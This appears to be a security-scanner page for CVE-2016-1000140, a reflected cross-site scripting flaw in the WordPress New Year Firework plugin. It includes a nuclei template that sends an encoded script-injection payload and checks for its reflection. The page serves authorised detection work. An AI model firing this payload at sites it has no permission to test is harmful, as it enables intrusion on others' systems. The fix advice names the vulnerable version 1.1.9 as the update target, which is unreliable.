WordPress New Year Firework <=1.1.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress New Year Firework 1.1.9 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.

Fix

Update to the latest version of the WordPress New Year Firework plugin (1.1.9) to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/new-year-firework/readme.txt
Positive when: contains "New Year Firework ="
Send: GET {{BaseURL}}/wp-content/plugins/new-year-firework/firework/index.php?text=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000140 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000140

info:
  name: WordPress New Year Firework <=1.1.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress New Year Firework 1.1.9 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.
  remediation: |
    Update to the latest version of the WordPress New Year Firework plugin (1.1.9) to mitigate this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=453
    - https://wordpress.org/plugins/new-year-firework
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000140
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000140
    cwe-id: CWE-79
    epss-score: 0.03432
    epss-percentile: 0.89052
    cpe: cpe:2.3:a:new-year-firework_project:new-year-firework:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "new-year-firework_project"
    product: "new-year-firework"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,new-year-firework_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/new-year-firework/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'New Year Firework ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/new-year-firework/firework/index.php?text=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from